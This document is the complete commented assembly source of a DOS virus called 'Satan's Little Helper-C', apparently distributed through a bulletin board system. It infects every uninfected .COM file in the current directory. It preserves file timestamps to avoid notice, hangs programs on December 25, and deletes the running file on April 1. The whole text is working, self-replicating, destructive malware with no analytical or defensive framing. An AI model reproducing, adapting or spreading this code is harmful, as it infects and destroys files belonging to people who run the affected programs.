;                       Virus
;               Satan's Little Helper-C
;This version:
;Searches current directory for non-infected com files, if any found
;it will become infected!
;This virus has a routine which self-destructs itself and uninfects
;the file.
       assume cs:code
       .286
code    segment "code"
       org 0100h
start   proc
       jmp     v_start         ;first 5 bytes |
       nop                     ;              |
       nop                     ;              |
v_start:
       call $+3                ;Actual virus
       pop dx
       sub dx, 3
       push dx                 ;save relocation factor in BP
       pop bp                  ;so virus can be copied anywhere twoards
       mov si, dx              ;the end of the file
                               ;
;                       Replace first 5 bytes in memory with original
;                       program code so normal program can run later
       add si, first_five
       mov di, 0100h
       mov cx, 5
       lodsb
       stosb
       loop $-2
;see if user want to disinfect this file
       mov si, 82h
       lodsb
       cmp al, "["             ;is al the code to disinfect?  "["
       jne ok_dont_disinfect
       jmp self_kill
ok_dont_disinfect:
                               ;here should be date checks to see
                               ;if an evil function should be unleashed!!
       mov ah, 2ah
       int 21h
       ;cx year 1980-2099
       ;dh month 1-12
       ;dl day
       ;al day of week  0=sun 1=mon -> 7=sat
       cmp dh, 12
       jne notdec
       cmp dl, 25
       jne notdec
       jmp christmas
notdec:
       cmp dh, 4
       jne notapril
       cmp dl, 1
       jne notapril
       jmp aprilfools
notapril:

;Set the DTA
       call set_dta
                               ;find first file to  ?infect?
       call find_first_file
go_again:
       mov si, bp
       add si, size_
       lodsw
       cmp ax, 5
       ja gd4
       jmp resrch
gd4:
       call open_file
       mov bx, ax
       mov al, 0
       call date_time
       mov ah, 3fh
       mov cx, 5
       mov dx, bp
       add dx, first_five
       int 21h
       mov ax, 4202h
       mov cx, 0
       mov dx, cx
       int 21h
       sub ax, 3
       mov si, bp
       add si, new_5
       mov [si+1], ax
       mov si, bp
       mov di, si
       add si, chkmark
       add di, mark
       mov cx, 2
       repe cmpsb
       jne INFECT
;File found was previously infected!
; search for new one now.
       jmp resrch

wipe_name:
       push di
       push ax
       push cx
       mov di, bp
       add di, name_
       mov cx, 13
       mov al, 0
       rep stosb
       pop cx
       pop ax
       pop di
       ret
resrch:
       call wipe_name
       mov ah, 4fh
       int 21h
       jnc gd3
       jmp term_virus
gd3:
       jmp go_again
INFECT:
;Time to infect the file!!
       mov si, bp
       add si, handle
       mov bx, [si]
       mov cx, vsize
       mov dx, bp
       call wipe_name
       mov ax, 4000h
       int 21h
       mov ax, 4200h
       mov cx, 0
       mov dx, cx
       int 21h
       mov dx, bp
       add dx, new_5
       mov ax, 4000h
       mov cx, 5
       int 21h
       mov al, 1
       call date_time
       mov ax, 3e00h
       int 21h
       jmp resrch

fndnam  proc
       mov si, env
       mov ax, [si]
       mov es, ax
       mov ds, ax
       mov si, 0
       mov di, si
__lp:
       lodsb
       cmp al, 0
       je chknxt
       stosb
       jmp __lp
chknxt:
       stosb
       lodsb
       cmp al, 0
       je fnd1
       stosb
       jmp __lp
fnd1:
       stosb
__lp2:
       lodsb
       cmp al, "a"
       jae ff_
up2:
       cmp al, "A"
       jae fff_
up3:
       stosb
       jmp __lp2
ff_:
       cmp al,"z"
       jbe fnd
       jmp up2
fff_:
       cmp al, "Z"
       jbe fnd
       jmp up3
fnd:
       mov si, di
       mov al, 0
       repne scasb
       mov dx, si
       mov di, dx
       ret
env     equ 2ch
fndnam  endp


self_kill:
               ;this procedure disinfects specified files
               ;SI points to the name of current file on disk
               ;which is infected
       call fndnam     ;find name of current file from env block in memory
       jmp gd__
abrt:
       int 20h
gd__:
       mov ax, 3d02h
       int 21h
       jc abrt
       mov bx, ax
       mov ax, cs
       mov ds, ax
       mov es, ax
       mov cx, 5
       mov dx, bp
       add dx, first_five
       call wipe_name
       mov ax, 4000h
       int 21h
       jc abrt
       mov dx, 0
       mov cx, 0
       mov ax, 4202h
       int 21h
       jnc gd__1
       jmp abrt
gd__1:
       sub ax, vsize
       mov dx, ax
       mov cx, 0
       mov ax, 4200h
       int 21h
       call wipe_name
       mov cx, 0
       mov ax, 4000h
       int 21h
       mov ax, 3e00h
       int 21h
       jmp term_virus
date_time:
       pusha
       mov ah, 57h
       cmp al, 0
       je fnd__$
       mov di, bp
       mov si, di
       add di, date
       add si, time
       mov dx, [di]
       mov cx, [si]
       int 21h
       jmp ret__
fnd__$:
       int 21h
       mov si, bp
       mov di, bp
       add si, time
       add di, date
       mov [si], cx
       mov [di], dx
ret__:
       popa
       ret
open_file:
       mov dx, bp
       add dx, name_
       mov ax, 3d02h
       int 21h
       jnc gd2
       jmp term_virus
gd2:
       mov si, bp
       add si, handle
       mov [si], ax
       ret
find_first_file:
       mov dx, bp
       mov cx, 0
       mov ah, 4eh
       add dx, all_com_files
       int 21h
       jnc gd1
       jmp term_virus
gd1:
       ret
set_dta:
       mov dx, bp
       mov ah, 1ah
       add dx, dta
       int 21h
       ret
term_virus:
       mov ax, 0
       mov bx, ax
       mov cx, bx
       mov dx, cx
       mov si, 0100h
       mov di, -1
       mov bp, di
       push 0100h
       ret

CHRISTMAS:
;Program Lockup
; Exit without running program
       int 20h
APRILFOOLS:
;Ha Ha delete current file
       call fndnam
       mov ah, 41h
       int 21h
       mov ax, cs
       mov ds, ax
       mov es, ax
       jmp term_virus
;                       Data    Bank
_fstfive:
       int 20h
       nop
ckmrk:
       nop
       nop
acf     db "*.COM",0
dt_     dw 0
tme     dw 0
d_t_a:
       rfd     db 21 dup (0)
       att     db 0
               dw 0
               dw 0
       sz      dd 0
       n_me    db 13 dup (0),0
handl   dw 0
nw_5    db 0e9h,0,0
mrk     db "66"
strain  db "C"
;
end___:
first_five      = offset _fstfive-0105h
all_com_files   = offset acf-0105h
dta             = offset d_t_a-0105h
attribute       = offset att-0105h
time            = offset tme-0105h
date            = offset dt_-0105h
size_           = offset sz-0105h
name_           = offset n_me-0105h
handle          = offset handl-0105h
new_5           = offset nw_5-0105h
mark            = offset mrk-0105h
chkmark         = offset ckmrk-0105h
vsize           = offset end___-0105h
start   endp
code    ends
       end     start

Downloaded From P-80 International Information Systems 304-744-2253